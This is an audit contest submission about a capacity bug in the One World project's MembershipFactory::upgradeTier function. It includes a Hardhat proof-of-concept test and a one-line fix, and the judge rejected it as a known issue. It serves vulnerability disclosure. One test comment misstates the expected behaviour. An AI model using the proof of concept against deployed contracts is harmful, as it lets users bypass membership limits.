Project

One World
NFTDeFi
15,000 USDC
View results
Submission Details
Severity: medium
Invalid

Users can upgrade to a tier that is already full

Summary

Users can call MembershipFactory::upgradeTier and upgrade tiers even if the tier they are upgrading to is already full

Vulnerability Details

The MembershipFactory::upgradeTier function lacks validation to check that the tier the user is upgrading to is already full, furthermore it doesnt update the minted state which should increase with each user added to the tier.

This also means that a tier can reach the full amount of users it's configured to have by users calling upgradeTier but more users can still join thorugh MembershipFactory::joinDAO because the minted state of the tier has not been updated.

PoC:

This test can be included in the "Upgrade Tier" tests in the test/MembershipFactory.test.ts file.

it("User can upgrade to tier that is full", async function () {
// Initial setup
await testERC20.mint(addr1.address, ethers.utils.parseEther("6400"));
await testERC20.connect(addr1).approve(membershipFactory.address, ethers.utils.parseEther("6400"));
await testERC20.mint(addr2.address, ethers.utils.parseEther("6400"));
await testERC20.connect(addr2).approve(membershipFactory.address, ethers.utils.parseEther("6400"));
const PoCDAOconfig = {
ensname: "PoC1.eth",
daoType: DAOType.SPONSORED,
currency: testERC20.address,
maxMembers: 631,
noOfTiers: 7
};
const PoCTierConfig = [
{ price: 6400, amount: 1, minted: 0, power: 64 }, // Only one allowed in tier 0
{ price: 3200, amount: 320, minted: 0, power:32 },
{ price: 1600, amount: 160, minted: 0, power:16 },
{ price: 800, amount: 80, minted: 0, power:8 },
{ price: 400, amount: 40, minted: 0, power:4 },
{ price: 200, amount: 20, minted: 0, power:2 },
{ price: 100, amount: 10, minted: 0, power: 1 }
];
await membershipFactory.createNewDAOMembership(PoCDAOconfig, PoCTierConfig);
const ensAddress = await membershipFactory.getENSAddress("PoC1.eth");
membershipERC1155 = await MembershipERC1155.attach(ensAddress);
// User 1 joins tier 0, now tier 0 will be full
await membershipFactory.connect(addr1).joinDAO(membershipERC1155.address, 0);
// User 2 joins tier 1 twice in order to have 2 tokens
await membershipFactory.connect(addr2).joinDAO(membershipERC1155.address, 1);
await membershipFactory.connect(addr2).joinDAO(membershipERC1155.address, 1);
// User 2 successfully upgrades to tier 0 (they should be able to because the tier is full)
expect( await membershipFactory.connect(addr2).upgradeTier(membershipERC1155.address, 1)).to.not.be.reverted;
});

Impact

More users can join a tier than the maximum amount the tier is configured to have.

Users can exploit this vulnerability to circumvent restrictions put in place in the MembershipFactory::joinDAO function.

Tools Used

Hardhat tests and manual review

Recommendations

Add to upgradeTier a require statement similar to what you have in the joinDAO function:

require(daos[daoMembershipAddress].tiers[fromTierIndex - 1].amount > daos[daoMembershipAddress].tiers[fromTierIndex - 1].minted, "Tier full.");
Updates

Lead Judging Commences

0xbrivan2 Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Known issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!